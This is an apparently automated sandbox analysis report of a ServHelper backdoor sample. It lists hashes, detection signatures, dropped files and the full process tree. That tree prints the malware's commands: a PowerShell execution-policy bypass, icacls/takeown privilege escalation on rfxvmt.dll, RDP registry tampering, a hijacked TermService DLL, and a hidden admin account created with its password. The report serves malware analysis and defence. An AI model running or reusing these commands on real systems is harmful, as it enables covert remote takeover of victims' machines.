Analysis

  • max time kernel
    143s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240611-en
  • resource tags

    arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
  • submitted
    16-06-2024 06:37

General

  • Target

    b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe

  • Size

    2.8MB

  • MD5

    b22a7f7748f329f11f883697f71f22df

  • SHA1

    172f2ec1b31de3237e24eeba79084bcd18b50f22

  • SHA256

    9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca

  • SHA512

    98867ae1c352ff8ebd2be803fdccdffe5a55fceb2d701245147bdcc9242837ce6f4ff379a68e44c7b36606245b1c84ad1d550cd2b94e05aeeaac4b29179322fb

  • SSDEEP

    49152:RYHxMRZpyfuJL7HKgXU+mtElp9F0FKk+M/k3wyBS4/OBYllWZG+/kEgV1:qHxMRZAsL7HKgXE61g+M83n8SlW4+/kb

Malware Config

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:3008
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout -t 15& powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2668
      • C:\Windows\system32\timeout.exe
        timeout -t 15
        3⤵
        • Delays execution with timeout.exe
        PID:2944
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1
        3⤵
        • Deletes itself
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:564
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1652
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:800
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1664
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1940
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1648
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1932
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1752
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:812
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          4⤵
            PID:2244
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            4⤵
            • Sets DLL path for service in the registry
            • Modifies registry key
            PID:2256
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            4⤵
              PID:1568
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1504
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                5⤵
                  PID:1380
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2864
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2856
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:840
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      7⤵
                        PID:2128
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  4⤵
                    PID:1980
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                        PID:1416
                        • C:\Windows\system32\net.exe
                          net start TermService
                          6⤵
                            PID:2120
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 start TermService
                              7⤵
                                PID:2324
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                          4⤵
                            PID:1984
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                            4⤵
                              PID:2004
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe user wgautilacc Ghar4f5 /del
                        1⤵
                          PID:2356
                          • C:\Windows\system32\net.exe
                            net.exe user wgautilacc Ghar4f5 /del
                            2⤵
                              PID:2376
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                3⤵
                                  PID:1252
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc Wy0kK2Zy /add
                              1⤵
                                PID:1972
                                • C:\Windows\system32\net.exe
                                  net.exe user wgautilacc Wy0kK2Zy /add
                                  2⤵
                                    PID:2168
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user wgautilacc Wy0kK2Zy /add
                                      3⤵
                                        PID:1100
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                    1⤵
                                      PID:1516
                                      • C:\Windows\system32\net.exe
                                        net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                        2⤵
                                          PID:1696
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            3⤵
                                              PID:1172
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" EILATWEW$ /ADD
                                          1⤵
                                            PID:308
                                            • C:\Windows\system32\net.exe
                                              net.exe LOCALGROUP "Remote Desktop Users" EILATWEW$ /ADD
                                              2⤵
                                                PID:1140
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EILATWEW$ /ADD
                                                  3⤵
                                                    PID:2860
                                              • C:\Windows\System32\cmd.exe
                                                cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                1⤵
                                                  PID:1148
                                                  • C:\Windows\system32\net.exe
                                                    net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                    2⤵
                                                      PID:612
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                        3⤵
                                                          PID:1204
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd /C net.exe user wgautilacc Wy0kK2Zy
                                                      1⤵
                                                        PID:1828
                                                        • C:\Windows\system32\net.exe
                                                          net.exe user wgautilacc Wy0kK2Zy
                                                          2⤵
                                                            PID:1400
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 user wgautilacc Wy0kK2Zy
                                                              3⤵
                                                                PID:2468

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • C:\Users\Admin\AppData\Local\Temp\11.ps1

                                                            Filesize

                                                            1KB

                                                            MD5

                                                            c0fae5b04f67d12ca621200aac5378dc

                                                            SHA1

                                                            c82c80ff2a2abb57e9a23ac5a100d82c1d551238

                                                            SHA256

                                                            de678dd80006ed864550a034f48a93bf1cb5a31d706d6f25694f577f7867f2a0

                                                            SHA512

                                                            27e1c30a1ad0ab381f037eb4313f11c9c7c3eaa78b5893ba0df04cac006a4169c92d3c6f3b09d181c6862491f8793818d0e9becf355b9aa4a70bef199c536ff8

                                                          • C:\Users\Admin\AppData\Local\Temp\evil.ps1

                                                            Filesize

                                                            3.0MB

                                                            MD5

                                                            b3740c199fd47f917a62e0c426c46934

                                                            SHA1

                                                            e0d844544c0ca5d83a1c3e32da581e2b7ebb3906

                                                            SHA256

                                                            b739faf7a9dfc7fe969a4927190f14d176c7e387e280fc970f4414fdf1062134

                                                            SHA512

                                                            d2f22de404fdfa46affc4bfff83ae5b41733a99e2b5b06722705677ca5d2031ba2f85d86803564e842e161f4e924e1fd245c37f0998b1572c4c772ecd08f4dc5

                                                          • C:\Users\Admin\AppData\Local\Temp\uninst.dat.log

                                                            Filesize

                                                            84B

                                                            MD5

                                                            e7b46f7dce67f5296ef852ab60c4917d

                                                            SHA1

                                                            9316e80ad51f832e9c3fe5d92113746410cdd2df

                                                            SHA256

                                                            d08848d4598be3de7271ed1efecc9eeb97cee86e3a74584567cddefb4dfeaba7

                                                            SHA512

                                                            0de68099b3f1fb30427a54b44680e288355d5db10a71f4cd6473749d3dccbaf72eac9849e5aaed7fa3c765a332690c7450ec3f56f4bd46b06c8ec571bec96400

                                                          • C:\Windows\system32\rfxvmt.dll

                                                            Filesize

                                                            40KB

                                                            MD5

                                                            dc39d23e4c0e681fad7a3e1342a2843c

                                                            SHA1

                                                            58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                            SHA256

                                                            6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                            SHA512

                                                            5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                          • \??\PIPE\samr

                                                            MD5

                                                            d41d8cd98f00b204e9800998ecf8427e

                                                            SHA1

                                                            da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                            SHA256

                                                            e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                            SHA512

                                                            cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                          • \Users\Admin\AppData\Local\Temp\nsj7782.tmp\System.dll

                                                            Filesize

                                                            11KB

                                                            MD5

                                                            fbe295e5a1acfbd0a6271898f885fe6a

                                                            SHA1

                                                            d6d205922e61635472efb13c2bb92c9ac6cb96da

                                                            SHA256

                                                            a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1

                                                            SHA512

                                                            2cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06

                                                          • \Users\Admin\AppData\Local\Temp\nsj7782.tmp\blowfish.dll

                                                            Filesize

                                                            22KB

                                                            MD5

                                                            5afd4a9b7e69e7c6e312b2ce4040394a

                                                            SHA1

                                                            fbd07adb3f02f866dc3a327a86b0f319d4a94502

                                                            SHA256

                                                            053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

                                                            SHA512

                                                            f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

                                                          • \Users\Admin\AppData\Local\Temp\nsj7782.tmp\nsUnzip.dll

                                                            Filesize

                                                            146KB

                                                            MD5

                                                            77a26c23948070dc012bba65e7f390aa

                                                            SHA1

                                                            7e112775770f9b3b24e2a238b5f7c66f8802e5d8

                                                            SHA256

                                                            4e4e429ecf1c49119a21c817899f64152b03b41b036fc1d92aee335043364c43

                                                            SHA512

                                                            2e7ffa4ed5c97f555e1b0d6f55ffcfd53cd28302fc77d95fdaea89e0b6b42e67e366331e52358e78e8266d079cc2ca3ea4c909197fb38a5b4c8151c7678d0065

                                                          • \Windows\Branding\mediasrv.png

                                                            Filesize

                                                            55KB

                                                            MD5

                                                            e816ab93cf35418b3c7ee71296081396

                                                            SHA1

                                                            8dffeaa3a807215f1f0fc4d4754c1dccf93244c6

                                                            SHA256

                                                            b7c930b6b289f3f2809fcfdeb270786d6c5c58d062f51fa43eaae33800261260

                                                            SHA512

                                                            790fa3c5f355e5faf44e94a23fd7e3176260502ceef6a4273578125fa3d52187349e5a982377c04291a15779ef905878d34f61d3e5ee5d3928872608817df524

                                                          • \Windows\Branding\mediasvc.png

                                                            Filesize

                                                            944KB

                                                            MD5

                                                            3346c7680c1a724104576721f058f8d6

                                                            SHA1

                                                            823926453ff44ddd192b2711ade78f2bfc7ebac0

                                                            SHA256

                                                            a4975203b5fc3a45b75f25bb2b81cac416fd9792dafb5dee9a304e7fea52a5d2

                                                            SHA512

                                                            23d1d3dfb80d09946bf28a29cc8dbb9236b5c7e92c1cadddfd6e8ba8a8030a63a2e81d64e16b00775b1174207c699e297242ff09cc59a93e594fce408d2ca85e

                                                          • memory/564-49-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

                                                            Filesize

                                                            2.9MB

                                                          • memory/564-50-0x0000000002490000-0x0000000002498000-memory.dmp

                                                            Filesize

                                                            32KB